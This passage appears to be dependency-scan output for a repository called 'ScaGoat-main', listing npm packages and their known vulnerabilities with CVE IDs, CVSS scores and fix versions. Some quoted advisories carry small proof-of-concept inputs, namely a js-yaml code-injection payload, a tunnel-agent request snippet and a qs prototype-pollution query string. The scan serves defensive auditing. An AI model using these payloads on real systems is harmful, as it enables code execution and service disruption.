'version': '0.2.2', 'root': False}, {'name': 'ncp', 'version': '1.0.1', 'root': False}, {'name': 'uuid', 'version': '3.4.0', 'root': False}, {'name': 'v8flags', 'version': '3.2.0', 'root': False}, {'name': 'validate-npm-package-license', 'version': '3.0.4', 'root': False}, {'name': 'verror', 'version': '1.10.0', 'root': False}, {'name': 'walkdir', 'version': '0.0.7', 'root': False}, {'name': 'websocket-driver', 'version': '0.7.4', 'root': False}, {'name': 'websocket-extensions', 'version': '0.1.4', 'root': False}, {'name': 'which', 'version': '2.0.2', 'root': False}, {'name': 'widest-line', 'version': '2.0.1', 'root': False}, {'name': 'window-size', 'version': '0.1.4', 'root': False}, {'name': 'write-file-atomic', 'version': '2.4.3', 'root': False}, {'name': 'ws', 'version': '1.1.5', 'root': False}, {'name': 'xdg-basedir', 'version': '3.0.0', 'root': False}, {'name': 'xml2js', 'version': '0.4.4', 'root': False}, {'name': 'sax', 'version': '0.6.1', 'root': False}, {'name': 'xmlbuilder', 'version': '15.1.1', 'root': False}, {'name': 'xtend', 'version': '4.0.2', 'root': False}, {'name': 'y18n', 'version': '3.2.2', 'root': False}, {'name': 'yallist', 'version': '2.1.2', 'root': False}, {'name': 'yauzl', 'version': '2.10.0', 'root': False}, {'name': 'fd-slicer', 'version': '1.1.0', 'root': False}, {'name': 'zaproxy', 'version': '0.2.0', 'root': True}, {'name': 'asn1', 'version': '0.1.11', 'root': False}, {'name': 'assert-plus', 'version': '0.1.5', 'root': False}, {'name': 'aws-sign2', 'version': '0.5.0', 'root': False}, {'name': 'boom', 'version': '0.4.2', 'root': False}, {'name': 'combined-stream', 'version': '0.0.7', 'root': False}, {'name': 'cryptiles', 'version': '0.2.2', 'root': False, 'cves_index': [131]}, {'name': 'delayed-stream', 'version': '0.0.5', 'root': False}, {'name': 'forever-agent', 'version': '0.5.2', 'root': False}, {'name': 'form-data', 'version': '0.1.4', 'root': False}, {'name': 'hawk', 'version': '1.0.0', 'root': False, 'cves_index': [121, 122]}, {'name': 'hoek', 'version': '0.9.1', 'root': False, 'cves_index': [137, 138]}, {'name': 'http-signature', 'version': '0.10.1', 'root': False}, {'name': 'lodash', 'version': '2.4.2', 'root': False, 'cves_index': [128, 129, 123, 124, 125, 126, 127]}, {'name': 'mime', 'version': '1.2.11', 'root': False, 'cves_index': [118]}, {'name': 'oauth-sign', 'version': '0.3.0', 'root': False}, {'name': 'qs', 'version': '0.6.6', 'root': False, 'cves_index': [132, 133, 134, 135, 136]}, {'name': 'request', 'version': '2.36.0', 'root': False, 'cves_index': [130]}, {'name': 'sntp', 'version': '0.2.4', 'root': False}], 'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'sourceType': 'CLI', 'type': 'Package', 'vulnerabilities': [{'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-3807', 'link': 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'description': 'ansi-regex is vulnerable to Inefficient Regular Expression Complexity', 'packageVersion': '3.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'ansi-regex', 'publishedDate': '2021-09-17T07:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.1.1'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-8244', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8244', 'description': 'A buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.', 'packageVersion': '1.0.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L', 'packageName': 'bl', 'publishedDate': '2020-08-30T15:15:00Z', 'cvss': 4, 'status': 'fixed in 2.2.1, 1.2.3, 4.0.3, 3.0.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-43138', 'link': 'https://github.com/advisories/GHSA-fwr7-v2mv-hh25', 'description': 'In Async before 2.6.4 and 3.x before 3.2.2, a malicious user can obtain privileges via the mapValues() method, aka lib/internal/iterator.js createObjectIterator prototype pollution.', 'packageVersion': '2.6.3', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'packageName': 'async', 'publishedDate': '2022-04-06T17:15:00Z', 'cvss': 7, 'status': 'fixed in 2.6.4, 3.2.2'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'PRISMA-2021-0034', 'link': '', 'description': 'adm-zip package versions before 0.5.3 are vulnerable to Directory Traversal. It could extract files outside the target folder. origin: https://github.com/cthackers/adm-zip/commit/119dcad6599adccc77982feb14a0c7440fa63013', 'packageVersion': '0.4.4', 'vector': '', 'packageName': 'adm-zip', 'publishedDate': '2021-03-03T11:06:55Z', 'cvss': 0, 'status': 'fixed in 0.5.3'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1002204', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1002204', 'description': "adm-zip npm library before 0.4.9 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as \\'Zip-Slip\\'.", 'packageVersion': '0.4.4', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N', 'packageName': 'adm-zip', 'publishedDate': '2018-07-25T17:29:00Z', 'cvss': 5.5, 'status': 'fixed in 0.4.9'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21803', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-21803', 'description': 'This affects the package nconf before 0.11.4. When using the memory engine, it is possible to store a nested JSON representation of the configuration. The .set() function, that is responsible for setting the configuration properties, is vulnerable to Prototype Pollution. By providing a crafted property, it is possible to modify the properties on the Object.prototype.', 'packageVersion': '0.6.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'nconf', 'publishedDate': '2022-04-12T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 0.11.4'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-2391', 'link': 'https://github.com/advisories/GHSA-4jwp-vfvf-657p', 'description': 'Incorrect parsing of certain JSON input may result in js-bson not correctly serializing BSON. This may cause unexpected application behaviour including data disclosure. This issue affects: MongoDB Inc. js-bson library version 1.1.3 and prior to.', 'packageVersion': '1.0.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N', 'packageName': 'bson', 'publishedDate': '2020-03-31T14:15:00Z', 'cvss': 4, 'status': 'fixed in 1.1.4'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7610', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7610', 'description': "All versions of bson before 1.1.4 are vulnerable to Deserialization of Untrusted Data. The package will ignore an unknown value for an object\\'s _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.", 'packageVersion': '1.0.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'bson', 'publishedDate': '2020-03-30T19:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.1.4'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16137', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16137', 'description': 'The debug module is vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter. It takes around 50k characters to block for 2 seconds making this a low severity issue.', 'packageVersion': '2.2.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'debug', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 5.3, 'status': 'fixed in 3.1.0, 2.6.9'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Has fix': {}, 'Remote execution': {}}, 'cveId': 'PRISMA-2022-0049', 'link': 'https://github.com/jonschlinkert/unset-value/pull/12/commits/abb534769f6ea62c3dd988f5ce0a4ebd1f91b56', 'description': 'unset-value package versions before 2.0.1 are vulnerable to Prototype Pollution. unset() function in index.js files allows for access to object prototype properties. An attacker can exploit this to override the behavior of object prototypes, resulting in a possible Denial of Service (DoS), Remote Code Execution (RCE), or other unexpected behavior.', 'packageVersion': '1.0.0', 'vector': '', 'packageName': 'unset-value', 'publishedDate': '2022-02-21T10:09:35Z', 'cvss': 8, 'status': 'fixed in 2.0.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28469', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28469', 'description': 'This affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.', 'packageVersion': '3.1.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'glob-parent', 'publishedDate': '2021-06-03T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 5.1.2'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-7598', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7598', 'description': 'minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a \\"constructor\\" or \\"__proto__\\" payload.', 'packageVersion': '0.0.10', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'minimist', 'publishedDate': '2020-03-11T23:15:00Z', 'cvss': 5.6, 'status': 'fixed in 1.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '0.0.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'low', 'riskFactors': {'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-38900', 'link': 'https://github.com/advisories/GHSA-w573-4hg7-7wgq', 'description': 'decode-uri-component 0.2.0 is vulnerable to Improper Input Validation resulting in DoS.', 'packageVersion': '0.2.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'decode-uri-component', 'publishedDate': '2022-11-28T15:30:24Z', 'cvss': 1, 'status': 'fixed in 0.2.1'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1000620', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000620', 'description': 'Eran Hammer cryptiles version 4.1.1 earlier contains a CWE-331: Insufficient Entropy vulnerability in randomDigits() method that can result in An attacker is more likely to be able to brute force something that was supposed to be random.. This attack appear to be exploitable via Depends upon the calling application.. This vulnerability appears to have been fixed in 4.1.2.', 'packageVersion': '2.0.5', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'cryptiles', 'publishedDate': '2018-07-19T00:00:00Z', 'cvss': 9, 'status': 'fixed in 4.1.2'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'GHSA-2pr6-76vf-7546', 'link': '', 'description': 'Versions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service. ## Recommendation Upgrade to version 3.13.0.', 'packageVersion': '3.6.1', 'vector': '', 'packageName': 'js-yaml', 'publishedDate': '2019-06-05T14:35:29Z', 'cvss': 4, 'status': 'fixed in 3.13.0'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-8j8c-7jfh-h6hx', 'link': '', 'description': 'Versions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected. An example payload is `{ toString: ! \\\'function (){return Date.now()}\\\' } : 1` which returns the object { \\"1553107949161\\": 1 } ## Recommendation Upgrade to version 3.13.1.', 'packageVersion': '3.6.1', 'vector': '', 'packageName': 'js-yaml', 'publishedDate': '2019-06-04T20:14:07Z', 'cvss': 7, 'status': 'fixed in 3.13.1'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2021-0070', 'link': 'https://github.com/cypress-io/cypress/pull/16165', 'description': 'cypress package versions before 7.2.0 are vulnerable to Incorrect Default Permissions. contextIsolation setting not being set within webpreferences, so an attacker can insert JavaScript as part of test and can execute arbitrary code.', 'packageVersion': '3.8.3', 'vector': '', 'packageName': 'cypress', 'publishedDate': '2021-05-18T09:29:31Z', 'cvss': 0, 'status': 'fixed in 7.2.0'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'GHSA-xc7v-wxcw-j472', 'link': '', 'description': "Versions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure. This is exploitable if user supplied input is provided to the auth value and is a number. Proof-of-concept: ```js require(\\'request\\')({ method: \\'GET\\', uri: \\'http://www.example.com\\', tunnel: true, proxy:{ protocol: \\'http:\\', host:\\'127.0.0.1\\', port:8080, auth:USERSUPPLIEDINPUT // number } }); ``` ## Recommendation Update to version 0.6.0 or later.", 'packageVersion': '0.4.3', 'vector': '', 'packageName': 'tunnel-agent', 'publishedDate': '2019-06-03T17:08:26Z', 'cvss': 4, 'status': 'fixed in 0.6.0'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-8203', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8203', 'description': 'Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.', 'packageVersion': '4.17.15', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2020-07-15T17:15:00Z', 'cvss': 7.4, 'status': 'fixed in 4.17.20'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23337', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23337', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.', 'packageVersion': '4.17.15', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2021-02-15T13:15:00Z', 'cvss': 7.2, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28500', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28500', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.', 'packageVersion': '4.17.15', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'lodash', 'publishedDate': '2021-02-15T11:15:00Z', 'cvss': 5.3, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-7598', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7598', 'description': 'minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a \\"constructor\\" or \\"__proto__\\" payload.', 'packageVersion': '1.2.0', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'minimist', 'publishedDate': '2020-03-11T23:15:00Z', 'cvss': 5.6, 'status': 'fixed in 1.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '1.2.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'GHSA-h6ch-v84p-w6p9', 'link': 'https://github.com/advisories/GHSA-h6ch-v84p-w6p9', 'description': 'A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.', 'packageVersion': '1.4.0', 'vector': '', 'packageName': 'diff', 'publishedDate': '2019-06-13T18:58:54Z', 'cvss': 7, 'status': 'fixed in 3.5.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21803', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-21803', 'description': 'This affects the package nconf before 0.11.4. When using the memory engine, it is possible to store a nested JSON representation of the configuration. The .set() function, that is responsible for setting the configuration properties, is vulnerable to Prototype Pollution. By providing a crafted property, it is possible to modify the properties on the Object.prototype.', 'packageVersion': '0.10.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'nconf', 'publishedDate': '2022-04-12T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 0.11.4'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-7598', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7598', 'description': 'minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a \\"constructor\\" or \\"__proto__\\" payload.', 'packageVersion': '0.0.8', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'minimist', 'publishedDate': '2020-03-11T23:15:00Z', 'cvss': 5.6, 'status': 'fixed in 1.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '0.0.8', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'moderate', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2017-16026', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16026', 'description': 'Request is an http client. If a request is made using ```multipart```, and the body type is a ```number```, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.', 'packageVersion': '2.67.0', 'vector': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N', 'packageName': 'request', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 4, 'status': 'fixed in 2.68.0, 2.68.0'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0087', 'link': 'https://github.com/ljharb/qs/issues/200', 'description': "qs package versions before 6.3.1 are vulnerable to Prototype Pollution. It\\'s a bypass for CVE-2017-1000048, that only fixed ]=toString, but not fixed [=toString. So it is possible to override prototype properties such as toString() for a nested object which exceeds the depth limit even when allowPrototypes is set to false.", 'packageVersion': '5.2.1', 'vector': '', 'packageName': 'qs', 'publishedDate': '2022-03-17T09:41:42Z', 'cvss': 5.9, 'status': 'fixed in 6.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24999', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-24999', 'description': 'qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has \\"deps: qs@6.9.7\\" in its release description, is not vulnerable).', 'packageVersion': '5.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2022-11-26T22:15:00Z', 'cvss': 7.5, 'status': 'fixed in 6.10.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-1000048', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000048', 'description': "the web framework using ljharb\\'s qs module older than v6.3.2, v6.2.3, v6.1.2, and v6.0.4 is vulnerable to a DoS. A malicious user can send a evil request to cause the web framework crash.", 'packageVersion': '5.2.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2017-03-01T00:00:00Z', 'cvss': 7, 'status': 'fixed in 6.3.2, 6.2.3, 6.1.2, 6.0.4'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-1537', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-1537', 'description': "file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write in GitHub repository gruntjs/grunt prior to 1.5.3. This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user\\'s .bashrc file or replace /etc/shadow file if the GruntJS user is root.", 'packageVersion': '1.4.1', 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'grunt', 'publishedDate': '2022-05-10T14:15:00Z', 'cvss': 7, 'status': 'fixed in 1.5.3'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-0436', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-0436', 'description': 'Path Traversal in GitHub repository gruntjs/grunt prior to 1.5.2.', 'packageVersion': '1.4.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N', 'packageName': 'grunt', 'publishedDate': '2022-04-12T21:15:00Z', 'cvss': 5.5, 'status': 'fixed in 1.5.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3728', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3728', 'description': 'hoek node module before 4.2.0 and 5.0.x before 5.0.3 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via \\\'merge\\\' and \\\'applyToDefaults\\\' functions, which allows a malicious user to modify the prototype of \\"Object\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '2.16.3', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2018-03-30T19:29:00Z', 'cvss': 8.8, 'status': 'fixed in 5.0.3, 4.2.0'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-36604', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-36604', 'description': 'hoek before 8.5.1 and 9.x before 9.0.3 allows prototype poisoning in the clone function.', 'packageVersion': '2.16.3', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2022-09-23T06:15:00Z', 'cvss': 8.1, 'status': 'fixed in 9.0.3, 8.5.1'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'GHSA-c3m8-x3cg-qm2c', 'link': '', 'description': "Versions of `helmet-csp` before to 2.9.1 are vulnerable to a Configuration Override affecting the application\\'s Content Security Policy (CSP). The package\\'s browser sniffing for Firefox deletes the `default-src` CSP policy, which is the fallback policy. This allows an attacker to remove an application\\'s default CSP, possibly rendering the application vulnerable to Cross-Site Scripting. ## Recommendation Upgrade to version 2.9.1 or later. Setting the `browserSniff` configuration to `false` in vulnerable versions also mitigates the issue.", 'packageVersion': '1.2.2', 'vector': '', 'packageName': 'helmet-csp', 'publishedDate': '2020-09-03T20:39:53Z', 'cvss': 4, 'status': 'fixed in 2.9.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-43138', 'link': 'https://github.com/advisories/GHSA-fwr7-v2mv-hh25', 'description': 'In Async before 2.6.4 and 3.x before 3.2.2, a malicious user can obtain privileges via the mapValues() method, aka lib/internal/iterator.js createObjectIterator prototype pollution.', 'packageVersion': '2.6.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'packageName': 'async', 'publishedDate': '2022-04-06T17:15:00Z', 'cvss': 7, 'status': 'fixed in 2.6.4, 3.2.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-29167', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-29167', 'description': "Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse `Host` HTTP header (`Hawk.utils.parseHost()`), which was subject to regular expression DoS attack - meaning each added character in the attacker\\'s input increases the computation time exponentially. `parseHost()` was patched in `9.0.1` to use built-in `URL` class to parse hostname instead. `Hawk.authenticate()` accepts `options` argument. If that contains `host` and `port`, those would be used instead of a call to `utils.parseHost()`.", 'packageVersion': '3.1.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'hawk', 'publishedDate': '2022-05-05T23:15:00Z', 'cvss': 7.5, 'status': 'fixed in 9.0.1'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-33987', 'link': 'https://github.com/advisories/GHSA-pfrx-2q88-qq97', 'description': 'The got package before 12.1.0 (also fixed in 11.8.5) for Node.js allows a redirect to a UNIX socket.', 'packageVersion': '6.7.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N', 'packageName': 'got', 'publishedDate': '2022-06-18T21:15:00Z', 'cvss': 5.3, 'status': 'fixed in 12.1.0'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Attack complexity: low': {}}, 'cveId': 